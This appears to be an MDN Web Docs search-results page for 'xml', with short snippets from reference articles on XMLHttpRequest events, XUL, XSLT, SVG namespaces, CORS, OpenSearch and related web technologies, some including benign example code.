... example var xmlhttp = new xmlhttprequest(), method = 'get', url = 'https://developer.mozilla.org/'; xmlhttp.open(method, url, true); xmlhttp.onloadstart = function () { console.log("download underway"); }; xmlhttp.send(); specifications specification status comment xmlhttprequest living standard whatwg living standard ...
XMLHttpRequestEventTarget.onprogress - Web APIs
the xmlhttprequesteventtarget.onprogress is the function called periodically with information when an xmlhttprequest before success completely.
... syntax xmlhttprequest.onprogress = callback; values callback is the function to be called periodically before the request is completed.
... xmlhttprequest.onprogress = function (event) { event.loaded; event.total; }; example var xmlhttp = new xmlhttprequest(), method = 'get', url = 'https://developer.mozilla.org/'; xmlhttp.open(method, url, true); xmlhttp.onprogress = function () { //do something }; xmlhttp.send(); specifications specification status comment xmlhttprequest living standard whatwg living standard ...
XML: Extensible Markup Language
WebXML
xml indexfound 4 pages:xml introductionxml is a markup language similar to html.
...this means, unlike other markup languages, xml is not predefined so you must define your own tags.
... xml:basexml:base is like the html baseelement but can specify the base uri per element as well as the entire document.
XUL - Mozilla's XML User Interface Language - Archive of obsolete content
presentation view online download summary ben goodger, lead engineer for mozilla firefox talked about xul, mozilla's xml user interface toolkit.
... questions and discussion xul - mozilla's xml user interface language - discussion ...
nsIXMLHttpRequestEventTarget
content/base/public/nsixmlhttprequest.idlscriptable this interface provides access to the event listeners used when uploading data using the xmlhttprequest object.
...see also using xmlhttprequest xmlhttprequest nsixmlhttprequest nsidomprogressevent ...
nsIXMLHttpRequestUpload
content/base/public/nsixmlhttprequest.idlscriptable this interface provides access to the features needed when uploading data using nsixmlhttprequest.
...eamonkey 2.0) attributes attribute type description onabort nsidomeventlistener onerror nsidomeventlistener onload nsidomeventlistener onloadstart nsidomeventlistener onprogress nsidomeventlistener see also nsixmlhttprequest nsixmlhttprequesteventtarget xmlhttprequest using xmlhttprequest ...
nsIXmlRpcFault
extensions/xml-rpc/idl/nsixmlrpcclient.idlscriptable an xml-rpc exception.
... xml-rpc server fault codes are returned wrapped in this; access it using nsixpconnect.getpendingexception->data.
XMLDocument.async - Web APIs
WebAPIXMLDocumentasync
document.async can be set to indicate whether a xmldocument.load() call should be an asynchronous or synchronous request.
... (it has been possible to load documents synchronously since 1.4 alpha.) example function loadxmldata(e) { alert(new xmlserializer().serializetostring(e.target)); // gives querydata.xml contents as string } var xmldoc = document.implementation.createdocument("", "test", null); xmldoc.async = false; xmldoc.onload = loadxmldata; xmldoc.load('querydata.xml'); ...
XMLHttpRequest: error event - Web APIs
function addlisteners(xhr) { xhr.addeventlistener('loadstart', handleevent); xhr.addeventlistener('load', handleevent); xhr.addeventlistener('loadend', handleevent); xhr.addeventlistener('progress', handleevent); xhr.addeventlistener('error', handleevent); xhr.addeventlistener('abort', handleevent); } function runxhr(url) { log.textcontent = ''; const xhr = new xmlhttprequest(); addlisteners(xhr); xhr.open("get", url); xhr.send(); return xhr; } xhrbuttonsuccess.addeventlistener('click', () => { runxhr('https://mdn.mozillademos.org/files/16553/dgszyjnxcaipwzy.jpg'); }); xhrbuttonerror.addeventlistener('click', () => { runxhr('https://somewhere.org/i-dont-exist'); }); xhrbuttonabort.addeventlistener('click', () => { runxhr('http...
...s://mdn.mozillademos.org/files/16553/dgszyjnxcaipwzy.jpg').abort(); }); result specifications specification status comment xmlhttprequest living standard ...
XMLHttpRequest: loadend event - Web APIs
function addlisteners(xhr) { xhr.addeventlistener('loadstart', handleevent); xhr.addeventlistener('load', handleevent); xhr.addeventlistener('loadend', handleevent); xhr.addeventlistener('progress', handleevent); xhr.addeventlistener('error', handleevent); xhr.addeventlistener('abort', handleevent); } function runxhr(url) { log.textcontent = ''; const xhr = new xmlhttprequest(); addlisteners(xhr); xhr.open("get", url); xhr.send(); return xhr; } xhrbuttonsuccess.addeventlistener('click', () => { runxhr('https://mdn.mozillademos.org/files/16553/dgszyjnxcaipwzy.jpg'); }); xhrbuttonerror.addeventlistener('click', () => { runxhr('https://somewhere.org/i-dont-exist'); }); xhrbuttonabort.addeventlistener('click', () => { runxhr('http...
...s://mdn.mozillademos.org/files/16553/dgszyjnxcaipwzy.jpg').abort(); }); result specifications specification status comment xmlhttprequest living standard ...
XMLHttpRequest: loadstart event - Web APIs
function addlisteners(xhr) { xhr.addeventlistener('loadstart', handleevent); xhr.addeventlistener('load', handleevent); xhr.addeventlistener('loadend', handleevent); xhr.addeventlistener('progress', handleevent); xhr.addeventlistener('error', handleevent); xhr.addeventlistener('abort', handleevent); } function runxhr(url) { log.textcontent = ''; const xhr = new xmlhttprequest(); addlisteners(xhr); xhr.open("get", url); xhr.send(); return xhr; } xhrbuttonsuccess.addeventlistener('click', () => { runxhr('https://mdn.mozillademos.org/files/16553/dgszyjnxcaipwzy.jpg'); }); xhrbuttonerror.addeventlistener('click', () => { runxhr('https://somewhere.org/i-dont-exist'); }); xhrbuttonabort.addeventlistener('click', () => { runxhr('http...
...s://mdn.mozillademos.org/files/16553/dgszyjnxcaipwzy.jpg').abort(); }); result specifications specification status comment xmlhttprequest living standard ...
XMLHttpRequest: progress event - Web APIs
function addlisteners(xhr) { xhr.addeventlistener('loadstart', handleevent); xhr.addeventlistener('load', handleevent); xhr.addeventlistener('loadend', handleevent); xhr.addeventlistener('progress', handleevent); xhr.addeventlistener('error', handleevent); xhr.addeventlistener('abort', handleevent); } function runxhr(url) { log.textcontent = ''; const xhr = new xmlhttprequest(); addlisteners(xhr); xhr.open("get", url); xhr.send(); return xhr; } xhrbuttonsuccess.addeventlistener('click', () => { runxhr('https://mdn.mozillademos.org/files/16553/dgszyjnxcaipwzy.jpg'); }); xhrbuttonerror.addeventlistener('click', () => { runxhr('https://somewhere.org/i-dont-exist'); }); xhrbuttonabort.addeventlistener('click', () => { runxhr('http...
...s://mdn.mozillademos.org/files/16553/dgszyjnxcaipwzy.jpg').abort(); }); result specifications specification status comment xmlhttprequest living standard ...
XMLHttpRequest.responseURL - Web APIs
the read-only xmlhttprequest.responseurl property returns the serialized url of the response or the empty string if the url is null.
... example var xhr = new xmlhttprequest(); xhr.open('get', 'http://example.com/test', true); xhr.onload = function () { console.log(xhr.responseurl); // http://example.com/test }; xhr.send(null); specifications specification status comment xmlhttprequest living standard whatwg living standard ...
xml:base - SVG: Scalable Vector Graphics
the xml:base attribute specifies a base iri other than the base iri of the document or external entity.
... specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'xml:base' in that specification.
XML-related code snippets - Archive of obsolete content
how to create a dom tree using xmlhttprequest parsing and serializing xml using xpath jxon (lossless javascript xml object notation) xsl transforms xlink xinclude xml:id xml:base support in old browsers xpointer svg namespaces, or why http://www.mozilla.org/keymaster/gat...re.is.only.xul is at the top of every xul document.
toolbarBindings.xml - Archive of obsolete content
copy the following text and paste it into a text file, then save that file as "toolbarbindings.xml": <bindings id="toolbarbindings"> <binding id="toolbar-primary" extends="chrome://global/content/bindings/toolbar.xml#toolbar-primary"> <content> <xul:hbox class="toolbar-holder toolbar-primary-holder" flex="1" xbl:inherits="orient=tborient,buttonstyle"> <xul:hbox class="toolbar-button-box" flex="1"> <children/> </xul:hbox> <xul:image class="toolbar-primary-icon" xbl:inherits="buttonstyle"/> </xul:hbox> </content> </binding> </bindings> ...
Examples of web and XML development using the DOM - Web APIs
this chapter provides some longer examples of web and xml development using the dom.
XMLHttpRequest.channel - Web APIs
xmlhttprequest.channel is an nsichannel that used by the object when performing the request.
XMLHttpRequest.mozAnon - Web APIs
xmlhttprequest.mozanon is a boolean.
XMLHttpRequest.mozBackgroundRequest - Web APIs
xmlhttprequest.mozbackgroundrequest is a boolean, indicating if the object represents a background service request.
XMLHttpRequest.openRequest() - Web APIs
this mozilla-specific method is available only from within privileged code, and is only called from a c++ context in order to initialize an xmlhttprequest.
XMLHttpRequest: timeout event - Web APIs
bubbles no cancelable no interface progressevent event handler property ontimeout examples const client = new xmlhttprequest(); client.open('get', 'http://www.example.org/example.txt'); client.ontimeout = () => { console.error('timeout!!') }; client.send(); you could also set up the event handler using the addeventlistener() method: client.addeventlistener('timeout', () => { console.error("timeout!!"); }); specifications specification status comment xmlhttprequestthe definition of 'timeout event' in that specification.
Index - Web APIs
WebAPIIndex
requests are guaranteed to be initiated before a page is unloaded and they are run to completion, without requiring a blocking request (for example xmlhttprequest).
... 384 cdatasection api, cdatasection, dom, interface, reference the cdatasection interface represents a cdata section that can be used within xml to include extended portions of unescaped text.
... 712 domimplementation.createdocument() api, dom, domimplementation, method, reference the domimplementation.createdocument() method creates and returns an xmldocument.
...And 105 more matches
Index - Archive of obsolete content
95 net/xhr provides access to xmlhttprequest functionality.
... 189 html to dom code snippets, dom, guide, html, intermediate, needsupdate although you can now natively parse html using domparser and xmlhttprequest, this is a new feature that is not yet supported by all browsers in use in the wild.
... 219 xml-related code snippets add-ons, code snippets, extensions no summary!
...And 80 more matches
JXON - Archive of obsolete content
jxon (lossless javascript xml object notation) is a generic name by which is defined the representation of javascript objects using xml.
...there are some cases in which the whole content of an xml document must be read from the javascript interpreter (like for web-apps languages or settings xml documents, for example).
... in this article we will show how to convert a parsed xml document (i.e.
...And 67 more matches
Parser API
declarations interface xmldefaultdeclaration <: declaration { type: "xmldefaultdeclaration"; namespace: expression; } a default xml namespace declaration.
... expressions interface xmlanyname <: expression { type: "xmlanyname"; } the special e4x wildcard pseudo-identifier *.
... interface xmlqualifiedidentifier <: expression { type: "xmlqualifiedidentifier"; left: identifier | xmlanyname; right: identifier | expression; computed: boolean; } an e4x qualified identifier, i.e., a pseudo-identifier using the namespace separator ::.
...And 34 more matches
RDF in Mozilla FAQ - Archive of obsolete content
the open directory dataset is available as a (huge) rdf/xml dump.
...some examples of datasources that exist today are "browser bookmarks", "browser global history", "imap mail accounts", "nntp news servers", and "rdf/xml files".
...the table is keyed by the datasource's "uri", which is either the url of an rdf/xml file, or a "special" uri starting with rdf: that refers to a built-in datasource.
...And 33 more matches
Migrate apps from Internet Explorer to Mozilla - Archive of obsolete content
i'll also cover nonstandard technologies, such as xmlhttprequest and rich text editing, that mozilla does support because no w3c equivalent existed at the time.
... they include: html 4.01, xhtml 1.0 and xhtml 1.1 cascade style sheets (css): css level 1, css level 2.1 and parts of css level 3 document object model (dom): dom level 1, dom level 2 and parts of dom level 3 mathematical markup language: mathml version 2.0 extensible markup language (xml): xml 1.0, namespaces in xml, associating style sheets with xml documents 1.0, fragment identifier for xml xsl transformations: xslt 1.0 xml path language: xpath 1.0 resource description framework: rdf simple object access protocol: soap 1.1 ecma-262, revision 3 (javascript 1.5): ecma-262 general cross-browser coding tips even though web standards do exist, different browsers behave differently (in fact, the same browser may behave differently depending on the platform).
...mozilla uses it for the following conditions: if a page is sent with a text/xml mimetype or any other xml or xhtml mimetype for any "doctype html system" doctype (for example, <!doctype html system "http://www.w3.org/tr/rec-html40/strict.dtd">), except for the ibm doctype for unknown doctypes or doctypes without dtds almost standards mode mozilla introduced almost standards mode for one reason: a section in the css 2 specification breaks designs based on a precise layou...
...And 30 more matches
Connecting to Remote Content - Archive of obsolete content
« previousnext » using xmlhttprequest xmlhttprequest is an api for transferring xml between a local script and a remote server via http.
...besides xml, it can be used to retrieve data in other formats, for example json, html and plain text.
... in this section we'll look into the xml and json communication mechanisms.
...And 27 more matches
Namespaces crash course - SVG: Scalable Vector Graphics
as an xml dialect, svg is namespaced.
...versions of svg viewers prior to the release of firefox 1.5 unfortunately paid scant attention to namespaces, but they are essential to multi-xml dialect supporting user agents such as gecko-based browsers which must be very strict.
... background it has been a long standing goal of the w3c to make it possible for different types of xml based content to be mixed together in the same xml file.
...And 27 more matches
Introduction to XUL - Archive of obsolete content
xul (pronounced "zool," as if that spelling helped any, and short for "xml user interface language") is our name for the language in which these ui descriptions are built.
...xul is an application of xml.
... in fact, it is just xml with specific meaning defined for a few element types, and into which html can be scattered.
...And 25 more matches
Getting Started - Developer guides
ajax stands for asynchronous javascript and xml.
... in a nutshell, it is the use of the xmlhttprequest object to communicate with servers.
... it can send and receive information in various formats, including json, xml, html, and text files.
...And 25 more matches
Writing JavaScript for XHTML - Archive of obsolete content
in practise, very few xhtml documents are served over the web with the correct mime media type, application/xhtml+xml.
... whilst authored to the stricter rules of xml, they are sent with the media type for html (text/html).
... the receiving browser considers the content to be html, and does not utilise its xml parser.
...And 24 more matches
Index - Archive of obsolete content
ArchiveMozillaXULIndex
found 1218 pages: # page tags and summary 1 xul landing, mozilla, xul xul (xml user interface language) is mozilla's xml-based language for building user interfaces of applications like firefox.
...in contrast to the mozilla jargon file, this article describes items of specific interest to the web or content developer looking to establish a context for understanding mozilla's new technologies -- and in particular mozilla's xml-based user interface language, xul.
...xul provides template query processors for rdf, xml and sql (mozstorage).
...And 20 more matches
Mozilla Web Developer FAQ
documents sent as xml always activate the standards layout mode.
... this includes documents sent as application/xhtml+xml.
... the consequence is that xhtml 1.0 transitional documents are rendered in the almost standards mode when served as text/html under pretext of the appendix c but in the standards mode when served as application/xhtml+xml.
...And 20 more matches
Properly Using CSS and JavaScript in XHTML Documents - Archive of obsolete content
xhtml™ 1.0 the extensible hypertext markup language (second edition) defines xhtml to be a reformulation of html 4 as an xml 1.0 application.
... xhtml is xml, not html one of the primary misunderstandings about xhtml is that it is just another version of html.
... this misunderstanding is compounded by the fact that, prior to version 9, microsoft® internet explorer only supports xhtml if it is served with mime media type text/html rather than the recommended application/xhtml+xml.
...And 19 more matches
Cross-Origin Resource Sharing (CORS) - HTTP
WebHTTPCORS
an example of a cross-origin request: the front-end javascript code served from https://domain-a.com uses xmlhttprequest to make a request for https://domain-b.com/data.json.
...for example, xmlhttprequest and the fetch api follow the same-origin policy.
...modern browsers use cors in apis such as xmlhttprequest or fetch to mitigate the risks of cross-origin http requests.
...And 19 more matches
Inner-browsing extending the browser navigation paradigm - Archive of obsolete content
an implementation can also use other transport technologies such as soap-based remote procedure calls, xmlhttprequest interfaces, or dom 3 load.
...this implementation uses xmlhttprequest.
...but the real showcase for new browser features and web standards like html 4.0 and dom level 2, and xml are models like inner-browsing, where these technologies can begin to be used in the way that they were envisioned.
...And 18 more matches
Index - MDN Web Docs Glossary: Definitions of Web-related terms
14 ajax ajax, codingscripting, glossary, infrastructure, l10n:priority ajax, which initially stood for asynchronous javascript and xml, is a programming practice of building complex, dynamic webpages using a technology known as xmlhttprequest.
... 102 dom (document object model) codingscripting, dom, glossary the dom (document object model) is an api that represents and interacts with any html or xml document.
...in xml and html, an element may contain a data item or a chunk of text or an image, or perhaps nothing.
...And 17 more matches
filter - CSS: Cascading Style Sheets
WebCSSfilter
svg filter url() takes an uri pointing to an svg filter, which may be embedded in an external xml file.
...le th { border: 1px solid rgb(187, 187, 187); padding: 0px 5px; background: none repeat scroll 0% 0% rgb(238, 238, 238); text-align: left; font-weight: bold; } table.standard-table td { padding: 5px; border: 1px solid rgb(204, 204, 204); text-align: left; vertical-align: top; width:25%; height:auto; } #img3 { height:100%; } <svg style="position: absolute; top: -99999px" xmlns="http://www.w3.org/2000/svg"> <filter id="svgblur" x="-5%" y="-5%" width="110%" height="110%"> <fegaussianblur in="sourcegraphic" stddeviation="5"/> </filter> </svg> brightness() the brightness() function applies a linear multiplier to the input image, making it appear more or less bright.
... filter: brightness(2) <svg style="position: absolute; top: -99999px" xmlns="http://www.w3.org/2000/svg"> <filter id="brightness"> <fecomponenttransfer> <fefuncr type="linear" slope="[amount]"/> <fefuncg type="linear" slope="[amount]"/> <fefuncb type="linear" slope="[amount]"/> </fecomponenttransfer> </filter> </svg> <table class="standard-table"> <thead> <tr> <th style="text-align: left;" scope="col">original image</th> <th style="text-align: left;" scope="col">live example</th...
...And 14 more matches
Sending forms through JavaScript - Learn web development
but forms can also prepare an http request to send via javascript, for example via xmlhttprequest.
... sending arbitrary data asynchronously is generally called ajax, which stands for "asynchronous javascript and xml".
... the xmlhttprequest (xhr) dom object can build http requests, send them, and retrieve their results.
...And 13 more matches
Chapter 3: Introduction to XUL—How to build a more intuitive UI - Archive of obsolete content
before you learn how to develop extensions, let's learn about xul, the xml-based user-interface language, which is one of the building blocks for extensions.
... introduction an overview of xul xul is an xml-based language, and was developed to be the gui markup language for the mozilla browser.
... window.opendialog('another.xul', '_blank','chrome,all,dialog=no'); listing 1: opening a window without the firefox gui xul as an xml application listing 2 shows an example of a gui definition file marked up in xul (a "xul document").
...And 12 more matches
Namespaces - Archive of obsolete content
xml namespaces provide a way to distinguish duplicate element and attribute names.
... duplicates element and attribute names can occur when an xml document contains elements and attributes from two or more different xml schemas (or dtds).
...an xml namespace is identified by an unique name (called a uri, not a url, even though it can look like a url).
...And 12 more matches
Index - XSLT: Extensible Stylesheet Language Transformations
WebXSLTIndex
xslt/xpath reference: xslt elements, exslt functions, xpath functions, xpath axes found 54 pages: # page tags and summary 1 xslt: extensible stylesheet language transformations landing, web, xslt extensible stylesheet language transformations (xslt) is an xml-based language used, in conjunction with specialized processing software, for the transformation of xml documents.
... 2 common xslt errors xslt your server needs to send both the source and the stylesheet with a xml mime type, text/xml or application/xml.
... 7 basic example xslt the basic example will load an xml file and apply a xsl transformation on it.
...And 12 more matches
Creating a Microsummary - Archive of obsolete content
beginnings generators are expressed as xml documents whose root element is the <generator> element in the http://www.mozilla.org/microsummaries/0.1 namespace.
... to begin building the generator, create a new empty text file and add an xml declaration and empty <generator> tag to it: <?xml version="1.0" encoding="utf-8"?> <generator xmlns="http://www.mozilla.org/microsummaries/0.1"> </generator> giving it a name generators should have name attributes which are arbitrary descriptions of the microsummaries the generator creates.
...since our generator will be creating microsummaries displaying the firefox download count, let's give it the name "firefox download count": <?xml version="1.0" encoding="utf-8"?> <generator xmlns="http://www.mozilla.org/microsummaries/0.1" name="firefox download count"> </generator> adding an xslt transform sheet generators must include an xslt transform sheet (also known as an xslt stylesheet) which transforms the page content into its microsummary.
...And 11 more matches
Using Remote XUL - Archive of obsolete content
ager extension lets you manage this whitelist, which is maintained using nsipermissionmanager, by creating entries of type "allowxulxbl", like this: components.classes["@mozilla.org/permissionmanager;1"] .getservice(components.interfaces.nsipermissionmanager) .add(uri, 'allowxulxbl', components.interfaces.nsipermissionmanager.allow_action); xul (pronounced like "zool"), which is short for xml-based user interface language, is an xml-based language for describing application interfaces.
...knowledge of xml and its syntax is useful but not required.
... if you build a xul file along with this tutorial and put it onto a web server, you need to configure your web server to specify the content type of xul files as application/vnd.mozilla.xul+xml.
...And 11 more matches
Examples - Archive of obsolete content
--> <!doctype html public "-//w3c//dtd xhtml 1.0 strict//en" "http://www.w3.org/tr/xhtml1/dtd/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" lang="en-us" xml:lang="en-us"> <head> <title>problem 1 - &lt; in xhtml</title> <meta http-equiv="content-type" content="application/xhtml+xml; charset=utf-8" /> <script type="text/javascript"> var i = 0; while (++i > 10) { // ...
... </p> </body> </html> back to the article problem 2 <!-- this file should have a .xhtml extension --> <!doctype html public "-//w3c//dtd xhtml 1.0 strict//en" "http://www.w3.org/tr/xhtml1/dtd/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" lang="en-us" xml:lang="en-us"> <head> <title>problem 2 - comments in xhtml</title> <meta http-equiv="content-type" content="application/xhtml+xml; charset=utf-8" /> <style type="text/css"> <!-- body {background-color: blue; color: yellow; } --> </style> <script type="text/javascript"> <!-- var i = 0; var sum = 0; for (i = 0; i < 10; ++i) { sum += i; ...
...} alert('sum = ' + sum); // --> </script> </head> <body> <h1>problem 2 - comments in xhtml</h1> <p> this document is valid xhtml 1.0 strict served as <code>application/xhtml+xml</code>.
...And 11 more matches
XForms Custom Controls - Archive of obsolete content
xf|select1[appearance="compact"] { -moz-binding: url('chrome://xforms/content/select-xhtml.xml#xformswidget-select1-compact'); } the mediatype attribute can be used by the form author to align the type of presentation with the type of data that the bound instance node contains.
...xf|output[mediatype^="image"] { -moz-binding: url('chrome://xforms/content/xforms-xhtml.xml#xformswidget-output-mediatype-anyuri'); } custom data types if you define a new schema data type or you use a built-in data type and find the current xforms control for this type to be insufficient, then you should write a new custom control.
...for example, if a control is bound to a node of type xsd:integer then the typelist attribute will be "http://www.w3.org/2001/xmlschema#integer http://www.w3.org/2001/xmlschema#decimal".
...And 11 more matches
Synchronous and asynchronous requests - Web APIs
xmlhttprequest supports both synchronous and asynchronous communications.
... asynchronous request if you use an asynchronous xmlhttprequest, you receive a callback when the data has been received.
... example: send a file to the console log this is the simplest usage of asynchronous xmlhttprequest.
...And 11 more matches
JavaScript/XSLT Bindings - XSLT: Extensible Stylesheet Language Transformations
the stylesheet has to be passed in as an xml document, which means that the .xsl file has to be loaded by the page before calling xsltprocessor.importstylesheet().
... this can be done via xmlhttprequest or xmldocument.load().
... figure 1 : instantiating an xsltprocessor var xsltprocessor = new xsltprocessor(); // load the xsl file using synchronous (third param is set to false) xmlhttprequest var myxmlhttprequest = new xmlhttprequest(); myxmlhttprequest.open("get", "example.xsl", false); myxmlhttprequest.send(null); var xslref = myxmlhttprequest.responsexml; // finally import the .xsl xsltprocessor.importstylesheet(xslref); for the actual transformation, xsltprocessor requires an xml document, which is used in conjunction with the imported xsl file to produce the final result.
...And 11 more matches
Frequently Asked Questions - Archive of obsolete content
if there's a grey area at the top of the source with the text "this xml file does not appear to have any style information associated with it" then the problem is with the svg file.
... <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> actually the second binding isn't always required, but unless you understand namespaces, we'd strongly recommend you include it.
...when servers send user agents an svg file they must tell the user agent that the file has the mime type "image/svg+xml", and if the svg file is stored gzipped they must tell the browser that too.
...And 10 more matches
Elements - Archive of obsolete content
helloworld.html: <!doctype html public "-//w3c//dtd html 4.01//en"> <html> <head> <title>hello world!</title> <style type="text/css"> p { -moz-binding: url(hello.xml#default); } #p03 { -moz-binding: url(hello.xml#hello2); } </style> </head> <body> <p>default content</p> <p>default content</p> <p id="p03">default content</p> </body> </html> hello.xml: <?xml version="1.0"?> <bindings xmlns="http://www.mozilla.org/xbl" xmlns:html="http://www.w3.org/1999/xhtml"> <binding id="default"> <content><html:b>hello world!
...hello.xml should reside in the same directory which contains helloworld.html.
... default encoding in xml documents (including xbl files) is utf-8.
...And 10 more matches
XInclude - MDN Web Docs Glossary: Definitions of Web-related terms
xml inclusions (xinclude) is a w3c recommendation to allow inclusion of xml more different sources in a more convenient fashion than xml external entities.
... code sample the following code aims to let <xi:include> and <xi:fallback> tags (the two elements in the language) with all of the attributes of <xi:include> be included in an xml document so as to be resolvable into a single xml document.
... (note that this has not been thoroughly tested for all circumstances and may not necessarily reflect the standard behavior completely.) note also that if you wish to allow xml:base, you will need the xml:base function, and the line beginning var href = ...
...And 10 more matches
Ajax - Developer guides
WebGuideAJAX
asynchronous javascript and xml, while not a technology in itself, is a term coined in 2005 by jesse james garrett, that describes a "new" approach to using a number of existing technologies together, including html or xhtml, css, javascript, dom, xml, xslt, and most importantly the xmlhttprequest object.
... although x in ajax stands for xml, json is used more than xml nowadays because of its many advantages such as being lighter and a part of javascript.
... both json and xml are used for packaging information in the ajax model.
...And 10 more matches
OpenSearch description format
opensearch description file the xml file that describes a search engine follows the basic template below.
... <opensearchdescription xmlns="http://a9.com/-/spec/opensearch/1.1/" xmlns:moz="http://www.mozilla.org/2006/browser/search/"> <shortname>[snk]</shortname> <description>[search engine full name and summary]</description> <inputencoding>[utf-8]</inputencoding> <image width="16" height="16" type="image/x-icon">[https://example.com/favicon.ico]</image> <url type="text/html" template="[searchurl]"> <param name="[key name]" value="{searchterms}"/> <!-- other params if you need them… --> <param name="[other key name]" value="[parameter value]"/> </url> <url type="application/x-suggestions+json" template="[suggestionurl]"/> <moz:searchform>[https://example.c...
... note: since this element is firefox-specific, and not part of the opensearch specification, we use the moz: xml namespace prefix in the example above to ensure that other user agents that don't support this element can safely ignore it.
...And 10 more matches
The Basics of Web Services - Archive of obsolete content
web services exchange data from a server to a client, using an xml format to send requests, so both the server and the client can understand each other.
... (xml introduction).
...the only major difference is that a web service uses xml.
...And 9 more matches
Back to the Server: Server-Side JavaScript On The Rise - Archive of obsolete content
armed with some basic java knowledge, you can extend javascript to include some of the most desired capability such as database access, remote web requests, and xml processing.
... e4x (ecmascript for xml) is an extension of javascript which provides direct support for xml, greatly simplifying the process of consuming xml via javascript.
..."http://www.mozilla.org/news.rdf" ); var c = u.openconnection(); c.connect(); // read in the raw data var s = new java.io.inputstreamreader( c.getinputstream() ); var b = new java.io.bufferedreader( s ); var l, str = ""; while( ( l = b.readline() ) != null ) { // skip if( l != "" ) { str = str + l + "\n"; } } // define the namespaces, first the default, // then additional namespaces default xml namespace = "http://purl.org/rss/1.0/"; var dc = new namespace( "http://purl.org/dc/elements/1.1/" ); var rdf = new namespace( "http://www.w3.org/1999/02/22-rdf-syntax-ns#" ); // use e4x to process the feed var x = new xml( str ); for each( var i in x..item ) { print( "title: " + i.title + "\n" ); print( "about: " + i.@rdf::about + "\n" ); print( "link: " + i.link + "\n" ); print( "date: " +...
...And 9 more matches
Mozilla Web Services Security Model
they do this by creating a file called web-scripts-access.xml in the root of the server that grants permission for other domains to access web services.
... for example, to determine what web sites can access a web service at http://www.example.com/dir1/dir2/service, mozilla would load the file http://www.example.com/web-scripts-access.xml, which may choose to delegate the decision to http://www.example.com/dir1/dir2/web...pts-access.xml.
... web-scripts-access.xml file format the web-scripts-access.xml file is an xml document.
...And 9 more matches
XSL Transformations in Mozilla FAQ - Web APIs
make sure the mime type for both source and stylesheet are set to an xml mimetype, namely text/xml or application/xml.
...use the <?xml-stylesheet ?> processing instruction instead of the non-standard xml:stylesheet.
... note: starting in gecko 7.0, both text/xsl and application/xslt+xml are supported mime types for xslt media stylesheets.
...And 9 more matches
Introduction to using XPath in JavaScript - XPath
mozilla implements a fair amount of the dom 3 xpath, which means that xpath expressions can be run against both html and xml documents.
... document.evaluate this method evaluates xpath expressions against an xml based document (including html documents), and returns a xpathresult object, which can be a single node or a set of nodes.
...there is no way in xpath to pick up the default namespace as applied to a regular element reference (e.g., p[@id='_myid'] for xmlns='http://www.w3.org/1999/xhtml').
...And 9 more matches
Chapter 2: Technologies used in developing extensions - Archive of obsolete content
xml coding css coding basic javascript syntax xml: a text-based structural language extensible markup language (xml) is a meta-language for expressing various kinds of data.
... some examples of xml-based markup languages include xhtml, which is html redefined on an xml base; svg, for expressing vector images; and mathml, for expressing mathematical formulas.
... xul, which is used in firefox, is also based on xml.
...And 8 more matches
Mozilla Application Framework in Detail - Archive of obsolete content
we provide an xml-based language called xul for defining the user interface of your application.
...what this means to you as the developer is this: you can take advantage of skills you already have with xml or web technologies to design and implement anything from a simple text editor to a comprehensive ide - complete with all of the interface widgets that you would find in virtually any major application framework.
...xbl (extensible binding language) allows you to expand your library of interface elements, and even construct your own xml language for defining your ui.
...And 8 more matches
Fetching data from the server - Learn web development
this seemingly small detail has had a huge impact on the performance and behavior of sites, so in this article, we'll explain the concept and look at technologies that make it possible, such as xmlhttprequest and the fetch api.
... enter ajax this led to the creation of technologies that allow web pages to request small chunks of data (such as html, xml, json, or plain text) and display them only when needed, helping to solve the problem described above.
... this is achieved by using apis like xmlhttprequest or — more recently — the fetch api.
...And 8 more matches
Sending and Receiving Binary Data - Web APIs
receiving binary data using javascript typed arrays the responsetype property of the xmlhttprequest object can be set to change the expected response type from the server.
... var oreq = new xmlhttprequest(); oreq.open("get", "/myfile.png", true); oreq.responsetype = "arraybuffer"; oreq.onload = function (oevent) { var arraybuffer = oreq.response; // note: not oreq.responsetext if (arraybuffer) { var bytearray = new uint8array(arraybuffer); for (var i = 0; i < bytearray.bytelength; i++) { // do something with each byte in the array } } }; oreq.send(null); yo...
... var oreq = new xmlhttprequest(); oreq.open("get", "/myfile.png", true); oreq.responsetype = "blob"; oreq.onload = function(oevent) { var blob = oreq.response; // ...
...And 8 more matches
Generating HTML - Web APIs
generating html one common application of xslt in the browser is to transform xml into html on the client.
... the second example will transform the input document (example2.xml), which again contains information about an article, into an html document.
...the xml document contains both html elements and xml elements, but only one namespace is needed, namely for the xml elements.
...And 8 more matches
Authoring MathML - MathML
mathml in xml documents (xhtml, epub, etc) if for some reason you need to use mathml in xml documents, be sure to satisfy the usual requirements: well-formed document, use of correct mime type, mathml namespace "http://www.w3.org/1998/math/mathml" on <math> roots.
... for example, the xhtml version of the previous example looks like this: <?xml version="1.0" encoding="utf-8"?> <!doctype html public "-//w3c//dtd xhtml 1.1 plus mathml 2.0//en" "http://www.w3.org/math/dtd/mathml2/xhtml-math11-f.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>xhtml+mathml example</title> </head> <body> <h1>xhtml+mathml example</h1> <p> square root of two: <math xmlns="http://www.w3.org/1998/math/mathml"> <msqrt> <mn>2</mn> </msqrt> </math> </p> </body> </html> mathml in email and instant messaging clients modern mail clients may send and receive emails in the html5 format and thus can use mathml expressions.
... <div class="latex"> \documentclass[12pt]{article} \begin{document} \title{latexml example} \maketitle \begin{abstract} this is a sample latexml document.
...And 8 more matches
SVG documentation index - SVG: Scalable Vector Graphics
WebSVGIndex
found 383 pages: # page tags and summary 1 svg: scalable vector graphics 2d graphics, graphics, icons, images, reference, responsive design, svg, scalable graphics, scalable images, vector graphics, web, l10n:priority scalable vector graphics (svg) are an xml-based markup language for describing two-dimensional based vector graphics.xml 2 applying svg effects to html content css, guide, html, svg modern browsers support using svg within css styles to apply graphical effects to html content.
...when svg documents are embedded within a parent html document using the tag: 6 namespaces crash course svg, xml as an xml dialect, svg is namespaced.
...versions of svg viewers prior to the release of firefox 1.5 unfortunately paid scant attention to namespaces, but they are essential to multi-xml dialect supporting user agents such as gecko-based browsers which must be very strict.
...And 8 more matches
An Overview - XSLT: Extensible Stylesheet Language Transformations
